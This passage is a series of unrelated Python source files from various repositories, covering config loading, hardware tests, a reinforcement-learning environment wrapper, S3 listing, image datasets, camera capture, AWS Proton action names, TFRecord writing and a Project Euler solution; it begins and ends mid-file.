site_ini = StringIO(site_ini)
except IOError:
# file does not exist so we just use a blank string
debug("No site options found; using defaults")
site_ini = StringIO('[site_config]\n')
self.site_ini.readfp(site_ini)
def load_job_defaults(self):
"""Find where the job is running and load defaults"""
job_ini_path = os.path.join(self.job_dir, self.job_name + '.fap')
try:
filetemp = open(job_ini_path, 'r')
job_ini = filetemp.read()
filetemp.close()
if not '[job_config]' in job_ini.lower():
job_ini = '[job_config]\n' + job_ini
job_ini = StringIO(job_ini)
debug("Job options read from %s" % job_ini_path)
except IOError:
# file does not exist so we just use a blank string
debug("No job options found; using defaults")
job_ini = StringIO('[job_config]\n')
self.job_ini.readfp(job_ini)
def load_job_type(self, job_type):
"""Find where the job is running and load defaults"""
home_dir = os.path.expanduser('~')
job_type_ini_path = os.path.join(home_dir, '.faps', job_type + '.fap')
try:
filetemp = open(job_type_ini_path, 'r')
job_type_ini = filetemp.read()
filetemp.close()
if not '[job_type]' in job_type_ini.lower():
job_type_ini = '[job_type]\n' + job_type_ini
job_type_ini = StringIO(job_type_ini)
debug("Job type options read from %s" % job_type_ini_path)
except IOError:
# file does not exist so we just use a blank string
error("Job type '%s' specified but options file '%s' not found" %
(job_type, job_type_ini_path))
job_type_ini = StringIO('[job_config]\n')
self.job_type_ini.readfp(job_type_ini)
def options_test():
"""Try and read a few options from different sources."""
testopts = Options()
print(testopts.get('job_name'))
print(testopts.get('cmdopts'))
print(testopts.get('args'))
print(testopts.get('verbose'))
print(testopts.get('script_dir'))
print(testopts.getbool('interactive'))
for arg in testopts.get('args'):
print('%s: %s' % (arg, testopts.get(arg)))
try:
print(testopts.getbool(arg))
except ValueError:
print('%s is not a bool' % arg)
try:
print(testopts.getint(arg))
except ValueError:
print('%s is not an int' % arg)
try:
print(testopts.getfloat(arg))
except ValueError:
print('%s is not a float' % arg)
try:
print(testopts.gettuple(arg))
except ValueError:
print('%s is not a tuple' % arg)
print(testopts.get('not an option'))
class ColouredConsoleHandler(logging.StreamHandler):
"""Makes colourised and wrapped output for the console."""
def emit(self, record):
"""Colourise and emit a record."""
# Need to make a actual copy of the record
# to prevent altering the message for other loggers
myrecord = copy.copy(record)
levelno = myrecord.levelno
if levelno >= 50: # CRITICAL / FATAL
front = '\033[30;41m' # black/red
elif levelno >= 40: # ERROR
front = '\033[30;41m' # black/red
elif levelno >= 30: # WARNING
front = '\033[30;43m' # black/yellow
elif levelno >= 20: # INFO
front = '\033[30;42m' # black/green
elif levelno >= 10: # DEBUG
front = '\033[30;46m' # black/cyan
else: # NOTSET and anything else
front = '\033[0m' # normal
myrecord.levelname = '%s%s\033[0m' % (front, myrecord.levelname)
logging.StreamHandler.emit(self, myrecord)
class NullConfigParser(object):
"""Use in place of a blank ConfigParser that has no options."""
def __init__(self, *args, **kwargs):
"""This is empty, so do nothing."""
pass
def has_option(*args, **kwargs):
"""Always return Fasle as there are no options."""
return False
if __name__ == '__main__':
options_test()
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tests/test_ni_usb_6211.py | Jyrijoul/arduino-adc-tester | 0 | 42820 | from tester.ni_usb_6211 import NiUsb6211
import numpy as np
OUTPUT_READ_CHANNEL = "ai0"
VCC_READ_CHANNEL = "ai1"
TOLERANCE = 0.001
def test_find_devices():
devices = NiUsb6211.find_devices()
assert type(devices) == list, "Not a list!"
if len(devices) > 0:
assert type(devices[0]) == str, "An element is not a string!"
def test_integration():
niUsb6211 = NiUsb6211(output_read_channel=OUTPUT_READ_CHANNEL, vcc_read_channel=VCC_READ_CHANNEL)
assert niUsb6211, "The object does not exist!"
assert niUsb6211.init() == None, "Initialization not successful!"
# Read samples.
# Read only one channel.
samples = niUsb6211.read_samples(1, channels=0)
assert samples, "No sample returned!"
assert samples.shape == (1,), "Wrong shape!"
# Read the other channel.
samples = niUsb6211.read_samples(1, channels=1)
assert samples, "No sample returned!"
assert samples.shape == (1,), "Wrong shape!"
# Read both channels, 1 sample.
samples = niUsb6211.read_samples(1, channels=[0, 1])
assert np.all(samples), "No samples returned!"
assert samples.shape == (2, 1), "Wrong shape!"
# Read both channels, many samples.
samples = niUsb6211.read_samples(10, channels=[0, 1])
assert np.all(samples), "No samples returned!"
assert samples.shape == (2, 10), "Wrong shape!"
# Writing
sample = 1.0
niUsb6211.write_sample(sample)
assert abs(niUsb6211.get_measured_output_voltage() - sample) <= TOLERANCE, f"Output reading ({niUsb6211.get_measured_output_voltage()}) does not match the written value ({sample})."
measurement = niUsb6211.get_measured_output_voltage()
vref = niUsb6211.get_reference_voltage()
def is_number(x):
try:
float(x)
return True
except:
return False
assert is_number(measurement), f"Get_reference_voltage() output ({vref}) not a number!"
assert is_number(vref), f"Get_reference_voltage() output ({vref}) not a number!"
# Test different argument types.
sample = 1
niUsb6211.write_sample(sample)
sample = "1"
niUsb6211.write_sample(sample)
# niUsb6211.read_samples(10, channels=[0, 1])
niUsb6211.deinit()
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rl_botics/envs/fvrs.py | Suman7495/rl-botics | 18 | 64060 | <reponame>Suman7495/rl-botics
import numpy as np
#from rllab.core.serializable import Serializable
#from rllab.envs.base import Step
#from rllab.envs.proxy_env import ProxyEnv
#from rllab.misc.overrides import overrides
import gym
from gym import Wrapper
from gym.spaces import Discrete, Box
from rl_botics.env.gym_pomdp.envs.rock import RockEnv, Obs
class HistoryEnv(Wrapper):
"""
takes observations from an environment and stacks to history given hist_len of history length
"""
def __init__(self, env_id, hist_len=4, history_type='standard', kwargs={}):
"""
Parameters
----------
env_id - id of registered gym environment (currently only implemented for Rock-v0)
history_type - * one_hot: encodes the actions as one hot vector in the history
* one_hot_pos: one hot agent position and history of 'one_hot' observations
* standard: encodes the actions as action_index+1 (reason for this is that the initial history is
all zeros and we don't want to collide with action 0, which is move north)
* standard_pos: one hot agent position and history of 'standard' observations
* field_vision: encodes the actions as action_index+1 (reason: see 'standard')
and noisy observation for each rock
* field_vision_pos: one hot agent position and history of noisy observations for each rock
* fully_observable: one hot agent position and history of true observations for each rock
* mixed_full_pomdp: flag to indicate if full information is avail + true observations for each rock +
one hot agent position and history of 'one_hot' observations
hist_len - length of the history
kwargs - optional arguments for initializing the wrapped environment
"""
if not env_id == "Rock-v0":
raise NotImplementedError("history only implemented for Rock-v0")
env = gym.make(env_id)
env.__init__(**kwargs)
super(HistoryEnv, self).__init__(env)
self._wrapped_env = env
self.hist_len = hist_len
self.hist_type = history_type
self.history = None
self.num_rocks = self._wrapped_env.num_rocks
self.size_x, self.size_y = self._wrapped_env.grid.get_size
# for full observations
# self.historyIgnoreIdx = self._wrapped_env.grid.x_size + self._wrapped_env.grid.y_size
if self.hist_type == "standard":
self.historyIgnoreIdx = 0
self.total_obs_dim = (1+1) # standard obs
self.observation_space = Box(low=0, high=(4+1)+self.num_rocks, shape=(self.total_obs_dim*self.hist_len,)) # history of: ac + ob pairs
self.genObservation = self.generateObservationStandard
elif self.hist_type == "standard_pos":
self.historyIgnoreIdx = self.size_x + self.size_y
self.total_obs_dim = self.historyIgnoreIdx+(1+1) # agent pos + standard obs
self.observation_space = Box(low=0, high=(4+1)+self.num_rocks, shape=(self.historyIgnoreIdx + (1+1)*self.hist_len,)) # agent pos + history of: ac + ob pairs
self.genObservation = self.generateObservationStandardPos
elif self.hist_type == "one_hot":
self.historyIgnoreIdx = 0
self.nact = self._wrapped_env.action_space.n
self.total_obs_dim = (self.nact+1) # one hot encoded actaion + single ob
self.observation_space = Box(low=0, high=len(Obs)-1, shape=(self.total_obs_dim*self.hist_len,)) # history of: one_hot_ac + ob pairs
self.genObservation = self.generateObservationOneHot
elif self.hist_type == "one_hot_pos":
self.historyIgnoreIdx = self.size_x + self.size_y
self.nact = self._wrapped_env.action_space.n
self.total_obs_dim = self.historyIgnoreIdx+(self.nact+1) # agent pos + one hot encoded actaion + single ob
self.observation_space = Box(low=0, high=len(Obs)-1, shape=(self.historyIgnoreIdx + (self.nact+1)*self.hist_len,)) # agent pos + history of: one_hot_ac + ob pairs
self.genObservation = self.generateObservationOneHotPos
elif self.hist_type == "field_vision":
self.historyIgnoreIdx = 0
self.total_obs_dim = (1+self.num_rocks) # actaion + ob (for each rock)
self.observation_space = Box(low=0, high=(4+1)+self.num_rocks, shape=(self.total_obs_dim*self.hist_len,)) # history of: ac + ob (for each rock) pairs
self.genObservation = self.generateObservationFieldVision
elif self.hist_type == "field_vision_pos":
self.historyIgnoreIdx = self.size_x + self.size_y
self.total_obs_dim = (self.historyIgnoreIdx+self.num_rocks) # oneHot agent position + ob (for each rock)
self.observation_space = Box(low=0, high=len(Obs)-1, shape=(self.historyIgnoreIdx + self.num_rocks*self.hist_len,)) # agent pos + history of: ac + ob (for each rock) pairs
self.genObservation = self.generateObservationFieldVisionPos
elif self.hist_type == "fully_observable":
self.historyIgnoreIdx = self.size_x + self.size_y
self.total_obs_dim = (self.historyIgnoreIdx+self.num_rocks) # oneHot agent position + ob (for each rock)
self.observation_space = Box(low=0, high=len(Obs)-1, shape=(self.historyIgnoreIdx + self.num_rocks*self.hist_len,)) # agent pos + history of: ac + ob (for each rock) pairs
self.genObservation = self.generateObservationFullState
elif self.hist_type == "mixed_full_pomdp":
self.historyIgnoreIdx = 1 + self.num_rocks + self.size_x + self.size_y
self.nact = self._wrapped_env.action_space.n
self.total_obs_dim = self.historyIgnoreIdx+(self.nact+1) # ignore index + agent pos + one hot encoded actaion + single ob
self.observation_space = Box(low=0, high=len(Obs)-1, shape=(self.historyIgnoreIdx + (self.nact+1)*self.hist_len,)) # flag + full obs + agent pos + history of: one_hot_ac + ob pairs
self.genObservation = self.generateObservationMixed
else:
raise NameError("error: wrong history type")
self.observation_dim_hist_part = self.total_obs_dim - self.historyIgnoreIdx
print('total obs dim:', self.total_obs_dim)
print('history obs_dim:', self.observation_dim_hist_part)
def reset_history(self, new_):
self.history = np.zeros((self.observation_space.shape[0]-self.historyIgnoreIdx, ))
self.history[0:self.observation_dim_hist_part] = new_[self.historyIgnoreIdx:]
#self.history_full = np.zeros((self.hist_len*self.total_obs_dim, ))
#self.history_full[0:self.total_obs_dim] = new_
def add_to_history(self, new_):
self.history[self.observation_dim_hist_part:] = self.history[:-self.observation_dim_hist_part]
self.history[0:self.observation_dim_hist_part] = new_[self.historyIgnoreIdx:]
#self.history_full[self.total_obs_dim:] = self.history_full[:-self.total_obs_dim]
#self.history_full[0:self.total_obs_dim] = new_
def reset(self):
obs = self._wrapped_env.reset()
if self.hist_type == "standard":
new_ob = np.array([np.zeros(1), obs])
elif self.hist_type == "standard_pos":
std_ob = np.array([np.zeros(1), obs])
xpos, ypos = self.generatePosOneHot(False)
new_ob = np.concatenate([xpos, ypos, std_ob])
elif self.hist_type == "one_hot":
new_ob = np.concatenate([np.zeros(self.nact), [obs]])
elif self.hist_type == "one_hot_pos":
xpos, ypos = self.generatePosOneHot(False)
new_ob = np.concatenate([xpos, ypos,np.zeros(self.nact), [obs]])
elif self.hist_type == "field_vision":
observation_rocks = self.generateFieldVisionRockObservation(False)
new_ob = np.concatenate([np.zeros(1), observation_rocks])
elif self.hist_type == "field_vision_pos":
observation_rocks = self.generateFieldVisionRockObservation(False)
xpos, ypos = self.generatePosOneHot(False)
new_ob = np.concatenate([xpos, ypos, observation_rocks])
elif self.hist_type == "fully_observable":
observation_rocks = self.generateTrueRockOvservation(False)
xpos, ypos = self.generatePosOneHot(False)
new_ob = np.concatenate([xpos, ypos, observation_rocks])
elif self.hist_type == "mixed_full_pomdp":
observation_rocks = self.generateTrueRockOvservation(False)
xpos, ypos = self.generatePosOneHot(False)
flag = 1
new_ob = np.concatenate([[flag],observation_rocks,xpos,ypos,np.zeros(self.nact),[obs]])
else:
raise NameError("error: wrong history type")
self.reset_history(new_ob)
# we return copy so that we can modify the history without changing already returned histories
return np.concatenate([new_ob[0:self.historyIgnoreIdx],self.history])
#return np.copy(self.history)
def step(self, action):
next_obs, reward, done, info = self._wrapped_env.step(action)
ob = self.genObservation(next_obs, action, done)
self.add_to_history(ob)
# we return copy so that we can modify the history without changing already returned histories
return np.concatenate([ob[0:self.historyIgnoreIdx],self.history]), reward, done, info
#return np.copy(self.history), reward, done, info
def generateObservationStandard(self, ob, a, done):
return np.array([a+1, ob])
def generateObservationStandardPos(self, ob, a, done):
xpos, ypos = self.generatePosOneHot(done)
std_ob = np.array([a+1, ob])
return np.concatenate([xpos,ypos,std_ob])
def generateObservationOneHot(self, ob, a, done):
one_hot_a = np.zeros(self.nact, dtype=np.int)
one_hot_a[int(a)] = 1
return np.concatenate([one_hot_a, [ob]])
def generateObservationOneHotPos(self, ob, a, done):
xpos, ypos = self.generatePosOneHot(done)
one_hot_a = np.zeros(self.nact, dtype=np.int)
one_hot_a[int(a)] = 1
return np.concatenate([xpos,ypos,one_hot_a,[ob]])
def generateObservationFieldVision(self, ob, a, done):
# action + noisy value of all rocks
observation_rocks = self.generateFieldVisionRockObservation(done)
return np.concatenate([[a+1], observation_rocks])
def generateObservationFieldVisionPos(self, ob, a, done):
# agent pos + noisy value of all rocks
observation_rocks = self.generateFieldVisionRockObservation(done)
xpos, ypos = self.generatePosOneHot(done)
return np.concatenate([xpos,ypos,observation_rocks])
def generateObservationFullState(self, ob, a, done):
# agent pos + true value of all rocks
observation_rocks = self.generateTrueRockOvservation(done)
xpos, ypos = self.generatePosOneHot(done)
return np.concatenate([xpos,ypos,observation_rocks])
def generateObservationMixed(self, ob, a, done):
# flag + true value of all rocks + agent pos + history of: one_hot_ac + noisy ob pairs
flag = 1
observation_rocks = self.generateTrueRockOvservation(done)
xpos, ypos = self.generatePosOneHot(done)
one_hot_a = np.zeros(self.nact, dtype=np.int)
one_hot_a[int(a)] = 1
return np.concatenate([[flag],observation_rocks,xpos,ypos,one_hot_a,[ob]])
def generateFieldVisionRockObservation(self, done):
# noisy value of all rocks
observation_rocks = np.zeros((self.num_rocks,))
if not done:
for rock in range(0, self.num_rocks):
if self._wrapped_env.state.rocks[rock].status == 0: # collected
ob = Obs.NULL.value
else:
ob = self._wrapped_env._sample_ob(self._wrapped_env.state.agent_pos, self._wrapped_env.state.rocks[rock])
observation_rocks[rock] = ob
return observation_rocks
def generateTrueRockOvservation(self, done):
# true value of all rocks
observation_rocks = np.zeros((self.num_rocks,))
if not done:
for rock in range(0, self.num_rocks):
rock_status = self._wrapped_env.state.rocks[rock].status
if rock_status == 1: #good
observation_rocks[rock] = Obs.GOOD.value
elif rock_status == -1: #bad
observation_rocks[rock] = Obs.BAD.value
else: # collected
observation_rocks[rock] = Obs.NULL.value
return observation_rocks
def generatePosOneHot(self, done):
xpos=np.zeros(self.size_x)
ypos=np.zeros(self.size_y)
if not done:
# one hot encoded x and y position of the agent
xpos = np.zeros(self.size_x, dtype=np.int)
xpos[int(self._wrapped_env.state.agent_pos.x)] = 1
ypos = np.zeros(self.size_y, dtype=np.int)
ypos[int(self._wrapped_env.state.agent_pos.y)] = 1
return xpos, ypos | [
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scripts/python/s3list-old.py | kalantal/s3-tests | 2 | 129912 | #!/bin/env python
import boto3
from pprint import pprint
def main():
def enumerate_s3_buckets():
print "Bucket list:"
s3 = boto3.resource('s3')
endpoint_url = 's3.amazonaws.com',
for bucket in s3.buckets.all():
print "s3://" + ("{}".format(bucket.name))
enumerate_s3_buckets()
print
def enumerate_s3_objects():
print "Object list:"
s3 = boto3.resource('s3')
endpoint_url = 's3.amazonaws.com',
for bucket in s3.buckets.all():
for object in bucket.objects.all():
print "s3://" + ("{}".format(object.bucket_name)) + "/" + ("{}".format(object.key))
enumerate_s3_objects()
if __name__ == '__main__':
main()
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Combined Neural Network/FAC/importData_image_quality.py | neu-spiral/ClassificationAndComparisonViaNeuralNetworks | 0 | 1603728 | <filename>Combined Neural Network/FAC/importData_image_quality.py
from __future__ import absolute_import
from __future__ import print_function
import pickle
import numpy as np
from keras.preprocessing.image import load_img, img_to_array
from scipy.misc import imresize
class importData(object):
def __init__(self, category=0, input_shape=(3, 224, 224), dir="./IMAGE_QUALITY_DATA"):
self.category = category
self.input_shape = input_shape
self.dir = dir
def biLabels(self, labels):
"""
This function will binarized labels.
There are C classes {1,2,3,4,...,c} in the labels, the output would be c dimensional vector.
Input:
- labels: (N,) np array. The element value indicates the class index.
Output:
- biLabels: (N, C) array. Each row has and only has a 1, and the other elements are all zeros.
- C: integer. The number of classes in the data.
Example:
The input labels = np.array([1,2,2,1,3])
The binaried labels are np.array([[1,0,0],[0,1,0],[0,1,0],[1,0,0],[0,0,1]])
"""
N = labels.shape[0]
labels.astype(np.int)
C = len(np.unique(labels))
binarized = np.zeros((N, C))
binarized[np.arange(N).astype(np.int), labels.astype(np.int).reshape((N,))] = 1
return binarized, C
def load_data(self, set):
'''
set: train/ val/ test
all_abs_labels: (image_name, row['class'])
all_comp_labels: (image1_name, image2_name, +1) is 1 > 2
'''
np.random.seed(1)
# load training data matrices
all_abs_labels = np.load(self.dir + '/' + set + '_abs_cat_' + str(self.category) + '.npy')
all_comp_labels = np.load(self.dir + '/' + set + '_comp_cat_' + str(self.category) + '.npy')
###################
# downsample training data
# if set == 'train' and num_unique_images < all_abs_labels.shape[0]:
# all_abs_labels, all_comp_labels = self.sample_train_data(num_unique_images, all_abs_labels, all_comp_labels)
###################
# absolute images
# load first image
image_mtx = img_to_array(load_img(self.dir + all_abs_labels[0, 0])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)
abs_imgs = image_mtx[np.newaxis, :, :, :]
# load images
for row in np.arange(1, all_abs_labels.shape[0]):
image_mtx = img_to_array(load_img(self.dir + all_abs_labels[row, 0])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)[np.newaxis, :, :, :]
abs_imgs = np.concatenate((abs_imgs, image_mtx), axis=0)
# get corresponding labels
if set == 'train': # categorical due to softmax
abs_labels, _ = self.biLabels(all_abs_labels[:, 1].astype(int))
else: # binary
abs_labels = all_abs_labels[:, 1].astype(int)
#####################
# comparison images left
# load first image
image_mtx = img_to_array(load_img(self.dir + all_comp_labels[0, 0])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)
comp_imgs_1 = image_mtx[np.newaxis, :, :, :]
# load images
for row in np.arange(1, all_comp_labels.shape[0]):
image_mtx = img_to_array(load_img(self.dir + all_comp_labels[row, 0])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)[np.newaxis, :, :, :]
comp_imgs_1 = np.concatenate((comp_imgs_1, image_mtx), axis=0)
# comparison images right
# load first image
image_mtx = img_to_array(load_img(self.dir + all_comp_labels[0, 1])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)
comp_imgs_2 = image_mtx[np.newaxis, :, :, :]
# load images
for row in np.arange(1, all_comp_labels.shape[0]):
image_mtx = img_to_array(load_img(self.dir + all_comp_labels[row, 1])).astype(np.uint8)
image_mtx = np.reshape(imresize(image_mtx, self.input_shape[1:]), self.input_shape)[np.newaxis, :, :, :]
comp_imgs_2 = np.concatenate((comp_imgs_2, image_mtx), axis=0)
# get corresponding labels
comp_labels = all_comp_labels[:, 2].astype(int)
return abs_imgs, abs_labels, comp_imgs_1, comp_imgs_2, comp_labels
def sample_train_data(self, num_unique_images, all_abs_labels, all_comp_labels):
np.random.seed(1)
# choose images
abs_idx = np.random.permutation(np.arange(all_abs_labels.shape[0]))[:num_unique_images]
# choose absolute labels
new_abs_labels = all_abs_labels[abs_idx, :]
new_imgs = new_abs_labels[:, 0]
# choose comparison labels
comp_idx = []
for row_idx in range(all_comp_labels.shape[0]):
# choose the comparison if the first or second image is in the absolute label set
if all_comp_labels[row_idx, 0] in new_imgs or all_comp_labels[row_idx, 1] in new_imgs:
comp_idx.append(row_idx)
new_comp_labels = all_comp_labels[comp_idx, :]
return new_abs_labels, new_comp_labels
def create_partitions(self, valFold = 3, testFold = 4):
abs_label_file = "/image_score.pkl"
comp_label_file = "/pairwise_comparison.pkl"
with open(self.dir + comp_label_file, 'rb') as f:
comp_label_matrix = pickle.load(f)
# data = pickle.load(open(partition_file_6000, 'rb'))
with open(self.dir + abs_label_file, 'rb') as f:
abs_label_matrix = pickle.load(f)
#####################
image_name_list = []
np.random.seed(1)
# get all unique images in category
for row in comp_label_matrix:
# category, f1, f2, workerID, passDup, imgId, ans
if row['category'] == self.category:
image1_name = '/' + row['f1'] + '/' + row['imgId'] + '.jpg'
if image1_name not in image_name_list:
image_name_list.append(image1_name)
image2_name = '/' + row['f2'] + '/' + row['imgId'] + '.jpg'
if image2_name not in image_name_list:
image_name_list.append(image2_name)
# divide images into folds
image_name_list = np.random.permutation(image_name_list)
no_im_per_fold = int(len(image_name_list) / 5)
image_name_list_by_fold = []
for fold in range(5):
image_name_list_by_fold.append(image_name_list[fold * no_im_per_fold:(fold + 1) * no_im_per_fold])
#####################
# get all comparison labels by fold
train_comp_labels = []
val_comp_labels = []
test_comp_labels = []
train_abs_labels = []
val_abs_labels = []
test_abs_labels = []
for row in comp_label_matrix:
if row['category'] == self.category:
# category, f1, f2, workerID, passDup, imgId, ans
image1_name = '/' + row['f1'] + '/' + row['imgId'] + '.jpg'
image2_name = '/' + row['f2'] + '/' + row['imgId'] + '.jpg'
# test
if image1_name in image_name_list_by_fold[testFold] and image2_name in image_name_list_by_fold[
testFold]:
# save comparison label
if row['ans'] == 'left':
test_comp_labels.append((image1_name, image2_name, +1))
elif row['ans'] == 'right':
test_comp_labels.append((image1_name, image2_name, -1))
# validation
elif image1_name in image_name_list_by_fold[valFold] and image2_name in image_name_list_by_fold[
valFold]:
# save comparison label
if row['ans'] == 'left':
val_comp_labels.append((image1_name, image2_name, +1))
elif row['ans'] == 'right':
val_comp_labels.append((image1_name, image2_name, -1))
# train
elif image1_name not in image_name_list_by_fold[valFold] and \
image2_name not in image_name_list_by_fold[valFold] and \
image1_name not in image_name_list_by_fold[testFold] and \
image2_name not in image_name_list_by_fold[testFold]:
if row['ans'] == 'left':
train_comp_labels.append((image1_name, image2_name, +1))
elif row['ans'] == 'right':
train_comp_labels.append((image1_name, image2_name, -1))
# get all absolute labels by fold
for row in abs_label_matrix:
# filterName, imgId, class, score
image_name = '/' + row['filterName'] + '/' + row['imgId'] + '.jpg'
# test
if image_name in image_name_list_by_fold[testFold]:
test_abs_labels.append((image_name, row['class']))
elif image_name in image_name_list_by_fold[valFold]:
val_abs_labels.append((image_name, row['class']))
# train
elif image_name in image_name_list: # check category
train_abs_labels.append((image_name, row['class']))
train_abs_labels = np.array(train_abs_labels)
val_abs_labels = np.array(val_abs_labels)
test_abs_labels = np.array(test_abs_labels)
train_comp_labels = np.array(train_comp_labels)
val_comp_labels = np.array(val_comp_labels)
test_comp_labels = np.array(test_comp_labels)
np.save('train_abs_cat_' + str(self.category), train_abs_labels)
np.save('val_abs_cat_' + str(self.category), val_abs_labels)
np.save('test_abs_cat_' + str(self.category), test_abs_labels)
np.save('train_comp_cat_' + str(self.category), train_comp_labels)
np.save('val_comp_cat_' + str(self.category), val_comp_labels)
np.save('test_comp_cat_' + str(self.category), test_comp_labels) | [
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] |
Submarine/controlserver/photo.py | MoffKalast/RaspberryUnderwaterROV | 5 | 112134 |
import sys
import time
import io
import picamera
import logging
import socketserver
import threading
from threading import Condition
from http import server
streamRES = "800x600"
recordRES = "1640x1232"
record = False
exposureMode = 'night'
meterMode = 'average'
rotation = 180
captureNumber = 5
captureExposure = 10
with picamera.PiCamera(resolution="3280x2464", framerate=captureExposure) as camera:
camera.exposure_mode = exposureMode
camera.meter_mode = meterMode
camera.rotation = rotation
time.sleep(3)
timestamp = str(int(time.time()))
for x in range(0, captureNumber):
camera.capture('/home/pi/Desktop/dcim/'+timestamp+'_'+str(x)+'.jpg')
camera.close()
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awacs/proton.py | alanjjenkins/awacs | 0 | 9493 | <reponame>alanjjenkins/awacs
# Copyright (c) 2012-2021, <NAME> <<EMAIL>>
# All rights reserved.
#
# See LICENSE file for full license.
from .aws import Action as BaseAction
from .aws import BaseARN
service_name = "AWS Proton"
prefix = "proton"
class Action(BaseAction):
def __init__(self, action: str = None) -> None:
super().__init__(prefix, action)
class ARN(BaseARN):
def __init__(self, resource: str = "", region: str = "", account: str = "") -> None:
super().__init__(
service=prefix, resource=resource, region=region, account=account
)
CreateEnvironment = Action("CreateEnvironment")
CreateEnvironmentTemplate = Action("CreateEnvironmentTemplate")
CreateEnvironmentTemplateMajorVersion = Action("CreateEnvironmentTemplateMajorVersion")
CreateEnvironmentTemplateMinorVersion = Action("CreateEnvironmentTemplateMinorVersion")
CreateService = Action("CreateService")
CreateServiceTemplate = Action("CreateServiceTemplate")
CreateServiceTemplateMajorVersion = Action("CreateServiceTemplateMajorVersion")
CreateServiceTemplateMinorVersion = Action("CreateServiceTemplateMinorVersion")
DeleteAccountRoles = Action("DeleteAccountRoles")
DeleteEnvironment = Action("DeleteEnvironment")
DeleteEnvironmentTemplate = Action("DeleteEnvironmentTemplate")
DeleteEnvironmentTemplateMajorVersion = Action("DeleteEnvironmentTemplateMajorVersion")
DeleteEnvironmentTemplateMinorVersion = Action("DeleteEnvironmentTemplateMinorVersion")
DeleteService = Action("DeleteService")
DeleteServiceTemplate = Action("DeleteServiceTemplate")
DeleteServiceTemplateMajorVersion = Action("DeleteServiceTemplateMajorVersion")
DeleteServiceTemplateMinorVersion = Action("DeleteServiceTemplateMinorVersion")
GetAccountRoles = Action("GetAccountRoles")
GetEnvironment = Action("GetEnvironment")
GetEnvironmentTemplate = Action("GetEnvironmentTemplate")
GetEnvironmentTemplateMajorVersion = Action("GetEnvironmentTemplateMajorVersion")
GetEnvironmentTemplateMinorVersion = Action("GetEnvironmentTemplateMinorVersion")
GetService = Action("GetService")
GetServiceInstance = Action("GetServiceInstance")
GetServiceTemplate = Action("GetServiceTemplate")
GetServiceTemplateMajorVersion = Action("GetServiceTemplateMajorVersion")
GetServiceTemplateMinorVersion = Action("GetServiceTemplateMinorVersion")
ListEnvironmentTemplateMajorVersions = Action("ListEnvironmentTemplateMajorVersions")
ListEnvironmentTemplateMinorVersions = Action("ListEnvironmentTemplateMinorVersions")
ListEnvironmentTemplates = Action("ListEnvironmentTemplates")
ListEnvironments = Action("ListEnvironments")
ListServiceInstances = Action("ListServiceInstances")
ListServiceTemplateMajorVersions = Action("ListServiceTemplateMajorVersions")
ListServiceTemplateMinorVersions = Action("ListServiceTemplateMinorVersions")
ListServiceTemplates = Action("ListServiceTemplates")
ListServices = Action("ListServices")
ListTagsForResource = Action("ListTagsForResource")
TagResource = Action("TagResource")
UntagResource = Action("UntagResource")
UpdateAccountRoles = Action("UpdateAccountRoles")
UpdateEnvironment = Action("UpdateEnvironment")
UpdateEnvironmentTemplate = Action("UpdateEnvironmentTemplate")
UpdateEnvironmentTemplateMajorVersion = Action("UpdateEnvironmentTemplateMajorVersion")
UpdateEnvironmentTemplateMinorVersion = Action("UpdateEnvironmentTemplateMinorVersion")
UpdateService = Action("UpdateService")
UpdateServiceInstance = Action("UpdateServiceInstance")
UpdateServicePipeline = Action("UpdateServicePipeline")
UpdateServiceTemplate = Action("UpdateServiceTemplate")
UpdateServiceTemplateMajorVersion = Action("UpdateServiceTemplateMajorVersion")
UpdateServiceTemplateMinorVersion = Action("UpdateServiceTemplateMinorVersion")
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mlutils/workshop/tfrec/datautils/tfrecord_maker.py | mlsamsom/mlutils | 0 | 86520 | import os
import progressbar
import numpy as np
import tensorflow as tf
import skimage.io as io
from sklearn.preprocessing import LabelBinarizer
from pathutils import list_images
def _byte_feature(value):
return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))
def _int64_feature(value):
return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))
def _int64_list(values):
return tf.train.Feature(int64_list=tf.train.Int64List(value=values))
def write_tfrecord_recognition(trainDir, outFile):
"""Convert a raw training set into tfrecords file
Stores a recognition training set
Assumes set is set up like /path/to/{label}/image.jpg
Args:
trainDir (str): Directory containing training set
outFile (str): File path to save data
"""
# get the list of input images
writer = tf.python_io.TFRecordWriter(outFile)
# fit the label binarizer
imagePaths = list(list_images(trainDir))
classNames = [pt.split(os.path.sep)[-2] for pt in imagePaths]
labelBin = LabelBinarizer()
labelBin.fit(classNames)
w = [' ', progressbar.Timer(), ' ', progressbar.Bar(), ' ', progressbar.ETA(), ' ']
bar = progressbar.ProgressBar(widgets=w, max_value=len(imagePaths))
for i, imagePath in enumerate(imagePaths):
img = io.imread(imagePath)
label = imagePath.split(os.path.sep)[-2]
# store image size to read serialized images later
height, width = img.shape[:2]
# convert image to string
img_raw = img.tostring()
encoded_label = labelBin.transform([label])[0]
# create storage dictionary and add to record
recDict = {'height': _int64_feature(height),
'width': _int64_feature(width),
'image_raw': _byte_feature(img_raw),
'label': _int64_list(encoded_label)}
tfrec = tf.train.Example(features=tf.train.Features(feature=recDict))
writer.write(tfrec.SerializeToString())
bar.update(i)
bar.finish()
writer.close()
if __name__ =='__main__':
test_dir = '/Users/mike/Pictures/Mercedes_Images'
output_dir = '/Users/mike/Pictures/mercedes.tfrecords'
write_tfrecord_recognition(test_dir, output_dir)
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p009.py | anadahalli/project-euler | 1 | 117108 | <filename>p009.py
"""Problem 009
A Pythagorean triplet is a set of three natural numbers, a < b < c, for which,
a2 + b2 = c2
For example, 32 + 42 = 9 + 16 = 25 = 52.
There exists exactly one Pythagorean triplet for which a + b + c = 1000.
Find the product abc.
"""
ans = next(a * b * c
for a in range(1, 500)
for b in range(1, 500)
for c in range(1, 500)
if a < b < c and a**2 + b**2 == c**2 and a + b + c == 1000)
print(ans)
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graphing/special_graphs/bipartite/marginal_matching.py | ryu577/grapphy | 0 | 157077 | <gh_stars>0
import networkx as nx
import numpy as np
def get_schedule(probs_left, probs_right, edges, num_nodes=20):
source = 0
dest = np.max(edges)+1
